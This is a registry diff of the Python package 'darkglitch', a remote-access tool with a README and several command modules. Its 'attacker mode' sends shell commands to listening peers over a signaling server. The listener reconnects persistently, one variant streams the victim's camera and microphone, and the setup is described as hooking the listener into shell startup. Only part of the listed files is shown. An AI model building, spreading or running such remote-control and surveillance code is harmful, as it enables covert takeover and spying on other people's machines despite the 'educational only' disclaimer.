darkglitch 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (33) hide show
  1. darkglitch-1.0.0/LICENSE +21 -0
  2. darkglitch-1.0.0/PKG-INFO +147 -0
  3. darkglitch-1.0.0/README.md +119 -0
  4. darkglitch-1.0.0/command/__init__.py +1 -0
  5. darkglitch-1.0.0/command/bash_connect.py +37 -0
  6. darkglitch-1.0.0/command/listen.py +83 -0
  7. darkglitch-1.0.0/command/listen_stream.py +93 -0
  8. darkglitch-1.0.0/command/online.py +29 -0
  9. darkglitch-1.0.0/command/stream_connect.py +180 -0
  10. darkglitch-1.0.0/command_injection/__init__.py +1 -0
  11. darkglitch-1.0.0/command_injection/injector.py +288 -0
  12. darkglitch-1.0.0/core/__init__.py +1 -0
  13. darkglitch-1.0.0/core/client.py +6 -0
  14. darkglitch-1.0.0/core/config.py +4 -0
  15. darkglitch-1.0.0/darkglitch.egg-info/PKG-INFO +147 -0
  16. darkglitch-1.0.0/darkglitch.egg-info/SOURCES.txt +31 -0
  17. darkglitch-1.0.0/darkglitch.egg-info/dependency_links.txt +1 -0
  18. darkglitch-1.0.0/darkglitch.egg-info/entry_points.txt +2 -0
  19. darkglitch-1.0.0/darkglitch.egg-info/requires.txt +4 -0
  20. darkglitch-1.0.0/darkglitch.egg-info/top_level.txt +8 -0
  21. darkglitch-1.0.0/darkglitch.py +93 -0
  22. darkglitch-1.0.0/helper.py +29 -0
  23. darkglitch-1.0.0/media/__init__.py +1 -0
  24. darkglitch-1.0.0/media/local_media.py +51 -0
  25. darkglitch-1.0.0/media/receiver_media.py +174 -0
  26. darkglitch-1.0.0/pyproject.toml +50 -0
  27. darkglitch-1.0.0/setup.cfg +4 -0
  28. darkglitch-1.0.0/signaling/__init__.py +1 -0
  29. darkglitch-1.0.0/signaling/handlers.py +51 -0
  30. darkglitch-1.0.0/signaling/peer.py +206 -0
  31. darkglitch-1.0.0/signaling/signal.py +151 -0
  32. darkglitch-1.0.0/tests/test_main.py +15 -0
  33. darkglitch-1.0.0/version.py +5 -0
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 DarkGlitch
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,147 @@
1
+ Metadata-Version: 2.4
2
+ Name: darkglitch
3
+ Version: 1.0.0
4
+ Summary: Remote command delivery and media streaming tool over WebRTC signaling
5
+ Author: DarkGlitch
6
+ License-Expression: MIT
7
+ Project-URL: Homepage, https://github.com/yourname/darkglitch
8
+ Project-URL: Repository, https://github.com/yourname/darkglitch
9
+ Project-URL: Issues, https://github.com/yourname/darkglitch/issues
10
+ Keywords: webrtc,remote-control,signaling,media
11
+ Classifier: Development Status :: 4 - Beta
12
+ Classifier: Environment :: Console
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Programming Language :: Python :: 3.10
16
+ Classifier: Programming Language :: Python :: 3.11
17
+ Classifier: Programming Language :: Python :: 3.12
18
+ Classifier: Topic :: Security
19
+ Classifier: Topic :: System :: Networking
20
+ Requires-Python: >=3.10
21
+ Description-Content-Type: text/markdown
22
+ License-File: LICENSE
23
+ Requires-Dist: aiortc>=1.4.0
24
+ Requires-Dist: opencv-python>=4.13.0
25
+ Requires-Dist: Pillow>=10.0.0
26
+ Requires-Dist: websockets>=12.0.0
27
+ Dynamic: license-file
28
+
29
+ # darkglitch
30
+
31
+ ## Project Description
32
+
33
+ darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It supports a listener mode to register a client and an attacker mode to find online peers and send remote shell commands.
34
+
35
+ ## Important Notes
36
+
37
+ - This project is educational only.
38
+ - Use it only in authorized test environments.
39
+ - Remote command execution can be dangerous if misused.
40
+
41
+ ## Requirements
42
+
43
+ - Python 3.10+
44
+ - `requirements.txt` is provided for dependency installation
45
+
46
+ ## Setup
47
+
48
+ From the project root:
49
+
50
+ ```bash
51
+ ./install.sh
52
+ ```
53
+
54
+ This script will:
55
+
56
+ - create a Python virtual environment at `~/Desktop/venv`
57
+ - activate that environment
58
+ - install dependencies from `requirements.txt`
59
+ - add `source ~/Desktop/venv/bin/activate` to your `~/.bashrc` or `~/.zshrc`
60
+ - start the listener mode with `main.py -l`
61
+
62
+ If you prefer manual setup:
63
+
64
+ ```bash
65
+ python3 -m venv ~/Desktop/venv
66
+ source ~/Desktop/venv/bin/activate
67
+ pip install -r requirements.txt
68
+ ```
69
+
70
+ ## Dependencies
71
+
72
+ - `websockets`
73
+ - `aiortc`
74
+ - `opencv-python`
75
+ - `Pillow`
76
+
77
+ ## Project Structure
78
+
79
+ - `main.py` - Entry point and command parser
80
+ - `helper.py` - CLI help text
81
+ - `version.py` - Version information
82
+ - `core/config.py` - Signaling server settings
83
+ - `core/client.py` - Client identity and username logic
84
+ - `command/`
85
+ - `bash_connect.py` - Send remote commands
86
+ - `listen.py` - Start listener mode
87
+ - `online.py` - List online peers
88
+ - `stream_connect.py` - Request remote media stream
89
+ - `command_injection/injector.py` - Remote command request handling
90
+ - `signaling/`
91
+ - `signal.py` - WebSocket signaling client
92
+ - `peer.py` - WebRTC peer connection logic
93
+ - `media/`
94
+ - `local_media.py` - Local camera/microphone handling
95
+ - `receiver_media.py` - Remote media receiver
96
+
97
+ ## Configuration
98
+
99
+ Edit `core/config.py` to set:
100
+
101
+ - `HOST` - signaling server URL
102
+ - `ROOM` - shared room identifier
103
+
104
+ Example:
105
+
106
+ ```python
107
+ HOST = "https://localhost:8000/"
108
+ ROOM = "test"
109
+ ```
110
+
111
+ ## Usage
112
+
113
+ ### Show help
114
+
115
+ ```bash
116
+ python darkglitch.py -h
117
+ ```
118
+
119
+ ### Show version
120
+
121
+ ```bash
122
+ python darkglitch.py -v
123
+ ```
124
+
125
+ ### Start listener mode
126
+
127
+ ```bash
128
+ python darkglitch.py -l
129
+ ```
130
+
131
+ ### List online peers
132
+
133
+ ```bash
134
+ python darkglitch.py -ol
135
+ ```
136
+
137
+ ### Send a remote command
138
+
139
+ ```bash
140
+ python darkglitch.py -c <client_id> "whoami"
141
+ ```
142
+
143
+ Replace `<client_id>` with the target identifier from the online peers list.
144
+
145
+ ## Disclaimer
146
+
147
+ This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.
@@ -0,0 +1,119 @@
1
+ # darkglitch
2
+
3
+ ## Project Description
4
+
5
+ darkglitch is a small Python proof-of-concept for remote command delivery over a WebSocket signaling channel. It supports a listener mode to register a client and an attacker mode to find online peers and send remote shell commands.
6
+
7
+ ## Important Notes
8
+
9
+ - This project is educational only.
10
+ - Use it only in authorized test environments.
11
+ - Remote command execution can be dangerous if misused.
12
+
13
+ ## Requirements
14
+
15
+ - Python 3.10+
16
+ - `requirements.txt` is provided for dependency installation
17
+
18
+ ## Setup
19
+
20
+ From the project root:
21
+
22
+ ```bash
23
+ ./install.sh
24
+ ```
25
+
26
+ This script will:
27
+
28
+ - create a Python virtual environment at `~/Desktop/venv`
29
+ - activate that environment
30
+ - install dependencies from `requirements.txt`
31
+ - add `source ~/Desktop/venv/bin/activate` to your `~/.bashrc` or `~/.zshrc`
32
+ - start the listener mode with `main.py -l`
33
+
34
+ If you prefer manual setup:
35
+
36
+ ```bash
37
+ python3 -m venv ~/Desktop/venv
38
+ source ~/Desktop/venv/bin/activate
39
+ pip install -r requirements.txt
40
+ ```
41
+
42
+ ## Dependencies
43
+
44
+ - `websockets`
45
+ - `aiortc`
46
+ - `opencv-python`
47
+ - `Pillow`
48
+
49
+ ## Project Structure
50
+
51
+ - `main.py` - Entry point and command parser
52
+ - `helper.py` - CLI help text
53
+ - `version.py` - Version information
54
+ - `core/config.py` - Signaling server settings
55
+ - `core/client.py` - Client identity and username logic
56
+ - `command/`
57
+ - `bash_connect.py` - Send remote commands
58
+ - `listen.py` - Start listener mode
59
+ - `online.py` - List online peers
60
+ - `stream_connect.py` - Request remote media stream
61
+ - `command_injection/injector.py` - Remote command request handling
62
+ - `signaling/`
63
+ - `signal.py` - WebSocket signaling client
64
+ - `peer.py` - WebRTC peer connection logic
65
+ - `media/`
66
+ - `local_media.py` - Local camera/microphone handling
67
+ - `receiver_media.py` - Remote media receiver
68
+
69
+ ## Configuration
70
+
71
+ Edit `core/config.py` to set:
72
+
73
+ - `HOST` - signaling server URL
74
+ - `ROOM` - shared room identifier
75
+
76
+ Example:
77
+
78
+ ```python
79
+ HOST = "https://localhost:8000/"
80
+ ROOM = "test"
81
+ ```
82
+
83
+ ## Usage
84
+
85
+ ### Show help
86
+
87
+ ```bash
88
+ python darkglitch.py -h
89
+ ```
90
+
91
+ ### Show version
92
+
93
+ ```bash
94
+ python darkglitch.py -v
95
+ ```
96
+
97
+ ### Start listener mode
98
+
99
+ ```bash
100
+ python darkglitch.py -l
101
+ ```
102
+
103
+ ### List online peers
104
+
105
+ ```bash
106
+ python darkglitch.py -ol
107
+ ```
108
+
109
+ ### Send a remote command
110
+
111
+ ```bash
112
+ python darkglitch.py -c <client_id> "whoami"
113
+ ```
114
+
115
+ Replace `<client_id>` with the target identifier from the online peers list.
116
+
117
+ ## Disclaimer
118
+
119
+ This repository is for research and learning only. Do not deploy it against systems or networks without explicit permission.
@@ -0,0 +1 @@
1
+ """Command handlers for the darkglitch CLI."""
@@ -0,0 +1,37 @@
1
+ # command/bash_connect.py
2
+ import asyncio
3
+
4
+ from signaling.signal import SignalClient
5
+ from signaling.handlers import OnlineHandler
6
+ from core.config import HOST, ROOM
7
+ from core.client import client_id, username
8
+
9
+ from command_injection.injector import RemoteCommandHandler as SenderHandler
10
+
11
+ async def bash_mode(target, command):
12
+ print("[+] Bash Mode")
13
+
14
+ signal = SignalClient(ROOM, client_id, HOST, username=username)
15
+ await signal.connect()
16
+
17
+ sender = SenderHandler(signal)
18
+
19
+ try:
20
+ result = await sender.send_command(
21
+ target=target,
22
+ command=command,
23
+ wait_for_result=True,
24
+ timeout=15,
25
+ )
26
+
27
+ if result is None:
28
+ print("[-] No response received for remote command")
29
+ return
30
+
31
+ if result.get("status") == "success":
32
+ print(result.get("output", "Bash executed successfully"))
33
+ else:
34
+ print("[-] Bash Failed")
35
+ print("ERROR:", result.get("error", "Unknown error"))
36
+ finally:
37
+ await signal.close()
@@ -0,0 +1,83 @@
1
+ # command/listen.py
2
+
3
+ import asyncio
4
+
5
+ from core.client import client_id, username
6
+ from core.config import ROOM, HOST
7
+
8
+ from signaling.signal import SignalClient
9
+ from signaling.peer import Peer
10
+ from media.local_media import LocalMedia
11
+
12
+ from command_injection.injector import RemoteCommandHandler as ReceiverHandler
13
+
14
+
15
+ async def listen_mode():
16
+ print("[+] Listen mode")
17
+
18
+ retry_delay = 10
19
+
20
+ while True:
21
+ signal = None
22
+ media = None
23
+ peer = None
24
+
25
+ try:
26
+ # ----------------------------------
27
+ # Signaling
28
+ # ----------------------------------
29
+ signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
30
+
31
+ await signal.connect()
32
+
33
+ # ----------------------------------
34
+ # Command Injection
35
+ # ----------------------------------
36
+ ReceiverHandler(signal)
37
+
38
+ print(
39
+ f"[+] Listening as {username} "
40
+ f"({client_id})"
41
+ )
42
+
43
+ print("[+] Waiting for incoming offers...")
44
+
45
+ # ----------------------------------
46
+ # Keep process alive
47
+ # ----------------------------------
48
+ while True:
49
+ await asyncio.sleep(1)
50
+
51
+ except asyncio.CancelledError:
52
+ raise
53
+
54
+ except Exception as exc:
55
+ print(f"[!] Error: {exc}")
56
+
57
+ finally:
58
+ print("[+] Cleaning up...")
59
+
60
+ try:
61
+ if peer is not None:
62
+ await peer.close()
63
+ except Exception:
64
+ pass
65
+
66
+ try:
67
+ if media:
68
+ await media.stop()
69
+ except Exception:
70
+ pass
71
+
72
+ try:
73
+ if signal:
74
+ await signal.close()
75
+ except Exception:
76
+ pass
77
+
78
+ print(
79
+ f"[+] Reconnecting in "
80
+ f"{retry_delay} seconds..."
81
+ )
82
+
83
+ await asyncio.sleep(retry_delay)
@@ -0,0 +1,93 @@
1
+ import asyncio
2
+
3
+ from core.client import client_id, username
4
+ from core.config import ROOM, HOST
5
+
6
+ from signaling.signal import SignalClient
7
+ from signaling.peer import Peer
8
+ from media.local_media import LocalMedia
9
+
10
+ from command_injection.injector import RemoteCommandHandler as ReceiverHandler
11
+
12
+
13
+ async def listen_stream_mode():
14
+ print("[+] Listen mode")
15
+
16
+ retry_delay = 10
17
+
18
+ while True:
19
+ signal = None
20
+ media = None
21
+ peer = None
22
+
23
+ try:
24
+ # ----------------------------------
25
+ # Signaling
26
+ # ----------------------------------
27
+ signal = SignalClient(room=ROOM, client_id=client_id, host=HOST, username=username,)
28
+
29
+ await signal.connect()
30
+
31
+ # ----------------------------------
32
+ # Camera / Microphone
33
+ # ----------------------------------
34
+ media = LocalMedia()
35
+ await media.start()
36
+
37
+ print("[+] Video Track:", media.get_video_track())
38
+ print("[+] Audio Track:", media.get_audio_track())
39
+
40
+ # ----------------------------------
41
+ # WebRTC Peer
42
+ # ----------------------------------
43
+ peer = Peer(signal)
44
+
45
+ # Send local camera/mic when a call is established
46
+ peer.add_media(media)
47
+
48
+ print(
49
+ f"[+] Listening as {username} "
50
+ f"({client_id})"
51
+ )
52
+
53
+ print("[+] Waiting for incoming offers...")
54
+
55
+ # ----------------------------------
56
+ # Keep process alive
57
+ # ----------------------------------
58
+ while True:
59
+ await asyncio.sleep(1)
60
+
61
+ except asyncio.CancelledError:
62
+ raise
63
+
64
+ except Exception as exc:
65
+ print(f"[!] Error: {exc}")
66
+
67
+ finally:
68
+ print("[+] Cleaning up...")
69
+
70
+ try:
71
+ if peer is not None:
72
+ await peer.close()
73
+ except Exception:
74
+ pass
75
+
76
+ try:
77
+ if media:
78
+ await media.stop()
79
+ except Exception:
80
+ pass
81
+
82
+ try:
83
+ if signal:
84
+ await signal.close()
85
+ except Exception:
86
+ pass
87
+
88
+ print(
89
+ f"[+] Reconnecting in "
90
+ f"{retry_delay} seconds..."
91
+ )
92
+
93
+ await asyncio.sleep(retry_delay)
@@ -0,0 +1,29 @@
1
+ # command/online.py
2
+ import asyncio
3
+
4
+ from signaling.signal import SignalClient
5
+ from signaling.handlers import OnlineHandler
6
+ from core.config import HOST, ROOM
7
+ from core.client import client_id, username
8
+
9
+
10
+ async def online_list_mode():
11
+ print("[+] Online list mode")
12
+
13
+ signal = SignalClient(ROOM, client_id, HOST, username=username)
14
+
15
+ await signal.connect()
16
+
17
+ signal.add_handler(OnlineHandler(client_id))
18
+
19
+ await signal.send({
20
+ "type": "get_online"
21
+ })
22
+
23
+ try:
24
+ while True:
25
+ await asyncio.sleep(1)
26
+ except asyncio.CancelledError:
27
+ pass
28
+ finally:
29
+ await signal.close()